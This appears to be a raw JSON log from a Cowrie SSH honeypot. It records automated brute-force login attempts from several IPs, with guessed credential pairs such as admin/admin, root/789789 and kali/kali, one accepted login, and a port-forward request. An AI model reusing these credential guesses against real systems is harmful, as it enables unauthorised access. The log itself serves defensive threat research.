{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:47.280423Z","src_ip":"103.118.29.129","session":"f5852d651161","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":14548,"dst_ip":"10.17.0.5","dst_port":22,"session":"71cdee214627","protocol":"ssh","message":"New connection: 87.251.64.176:14548 (10.17.0.5:22) [session: 71cdee214627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:48.406410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:48.410880Z","src_ip":"87.251.64.176","session":"71cdee214627","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:48.544560Z","src_ip":"87.251.64.176","session":"71cdee214627","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:49.043252Z","src_ip":"87.251.64.176","session":"71cdee214627","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:49.212739Z","session":"71cdee214627","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42360,"dst_ip":"159.203.135.109","dst_port":22,"session":"69131f8b121d","protocol":"ssh","message":"New connection: 83.168.110.85:42360 (159.203.135.109:22) [session: 69131f8b121d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:49.266692Z"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:49.376884Z","src_ip":"87.251.64.176","session":"71cdee214627","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:49.411856Z","src_ip":"83.168.110.85","session":"69131f8b121d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:49.415708Z","src_ip":"83.168.110.85","session":"69131f8b121d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:49.542602Z","src_ip":"87.251.64.176","session":"71cdee214627","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:49.912530Z","src_ip":"83.168.110.85","session":"69131f8b121d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:51.044979Z","src_ip":"83.168.110.85","session":"69131f8b121d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.99","src_port":59008,"dst_ip":"159.203.135.109","dst_port":22,"session":"3505d6b4e598","protocol":"ssh","message":"New connection: 152.32.171.99:59008 (159.203.135.109:22) [session: 3505d6b4e598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:52.301538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:52.305841Z","src_ip":"152.32.171.99","session":"3505d6b4e598","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:52.527109Z","src_ip":"152.32.171.99","session":"3505d6b4e598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"running1","message":"login attempt [root/running1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:53.440128Z","src_ip":"152.32.171.99","session":"3505d6b4e598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:54.664361Z","src_ip":"152.32.171.99","session":"3505d6b4e598","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43300,"dst_ip":"159.203.135.109","dst_port":22,"session":"df3ccb4a54a3","protocol":"ssh","message":"New connection: 83.168.110.85:43300 (159.203.135.109:22) [session: df3ccb4a54a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:59.676442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:59.700945Z","src_ip":"83.168.110.85","session":"df3ccb4a54a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:41:59.798004Z","src_ip":"83.168.110.85","session":"df3ccb4a54a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:00.272290Z","src_ip":"83.168.110.85","session":"df3ccb4a54a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:01.566191Z","src_ip":"83.168.110.85","session":"df3ccb4a54a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":35910,"dst_ip":"10.17.0.5","dst_port":22,"session":"54e333dc2cd0","protocol":"ssh","message":"New connection: 103.98.149.87:35910 (10.17.0.5:22) [session: 54e333dc2cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:04.391646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:04.417065Z","src_ip":"103.98.149.87","session":"54e333dc2cd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:04.633311Z","src_ip":"103.98.149.87","session":"54e333dc2cd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789789","message":"login attempt [root/789789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:05.711298Z","src_ip":"103.98.149.87","session":"54e333dc2cd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:06.940214Z","src_ip":"103.98.149.87","session":"54e333dc2cd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59570,"dst_ip":"159.203.135.109","dst_port":22,"session":"a01936a2d80c","protocol":"ssh","message":"New connection: 83.168.110.85:59570 (159.203.135.109:22) [session: a01936a2d80c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:10.152370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:10.156670Z","src_ip":"83.168.110.85","session":"a01936a2d80c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:10.277037Z","src_ip":"83.168.110.85","session":"a01936a2d80c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:10.639726Z","src_ip":"83.168.110.85","session":"a01936a2d80c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:11.872324Z","src_ip":"83.168.110.85","session":"a01936a2d80c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53446,"dst_ip":"159.203.135.109","dst_port":22,"session":"e608428a53ec","protocol":"ssh","message":"New connection: 83.168.110.85:53446 (159.203.135.109:22) [session: e608428a53ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:20.575326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:20.579350Z","src_ip":"83.168.110.85","session":"e608428a53ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:20.701622Z","src_ip":"83.168.110.85","session":"e608428a53ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:21.063450Z","src_ip":"83.168.110.85","session":"e608428a53ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:22.236451Z","src_ip":"83.168.110.85","session":"e608428a53ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46596,"dst_ip":"159.203.135.109","dst_port":22,"session":"a753add7f7cf","protocol":"ssh","message":"New connection: 83.168.110.85:46596 (159.203.135.109:22) [session: a753add7f7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:30.934107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:30.939060Z","src_ip":"83.168.110.85","session":"a753add7f7cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:31.059560Z","src_ip":"83.168.110.85","session":"a753add7f7cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:31.421374Z","src_ip":"83.168.110.85","session":"a753add7f7cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:32.544941Z","src_ip":"83.168.110.85","session":"a753add7f7cf","protocol":"ssh"}
